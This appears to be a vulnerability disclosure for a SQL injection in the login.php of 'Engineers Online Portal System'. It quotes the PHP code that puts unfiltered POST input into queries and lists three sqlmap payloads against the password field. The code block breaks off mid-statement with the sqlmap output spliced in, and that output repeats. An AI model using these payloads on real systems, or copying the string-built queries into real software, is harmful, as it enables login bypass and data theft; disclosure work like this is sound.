

Engineers Online Portal System login.php has Sqlinjection

Engineers Online Portal System login.php has Sqlinjection, The basic introduction of this vulnerability is that SQL injection means that the web application does not judge or filter the validity of user input data strictly. An attacker can add additional SQL statements to the end of the predefined query statements in the web application to achieve illegal operations without the administrator's knowledge, so as to cheat the database server to execute unauthorized arbitrary queries and further obtain the corresponding data information.

```
<?php
include('admin/dbcon.php');
session_start();
$username = $_POST['username'];
$password = $_POST['password'];
/* student */
$query = "SELECT * FROM student WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn,$query)or die(mysqli_error($conn));
$row = mysqli_fetch_array($result);
$num_row = mysqli_num_rows($result);
/* teacher */
$query_teacher = mysqli_query($conn,"SELECT * FROM teacher WHERE username='$username' AND password='$password'");
$num_row_teacher = mysqli_num_rows($query_teacher);
$row_teacher = mysqli_fetch_array($query_teacher);
if( $num_row > 0 ) {
$_SESSION['id']=$row['student_id'];

echo 'true_student';
}else if ($num_row_teacher > 0){

sqlmap identified the following injection point(s) with a total of 406 HTTP(s) requests:
---
Parameter: password (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: username=123&password=123' OR NOT 1347=1347#

Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: username=123&password=123' AND GTID_SUBSET(CONCAT(0x71626a6b71,(SELECT (ELT(6208=6208,1))),0x716a767071),6208)-- PbCo

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=123&password=123' AND (SELECT 8838 FROM (SELECT(SLEEP(5)))tsCY)-- vHEi
---
```

Sqlmap attack

sqlmap identified the following injection point(s) with a total of 406 HTTP(s) requests:

Parameter: password (POST)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)

Payload: username=123&password=123' OR NOT 1347=1347#

Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)

Payload: username=123&password=123' AND GTID_SUBSET(CONCAT(0x71626a6b71,(SELECT (ELT(6208=6208,1))),0x716a767071),6208)-- PbCo

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: username=123&password=123' AND (SELECT 8838 FROM (SELECT(SLEEP(5)))tsCY)-- vHEi
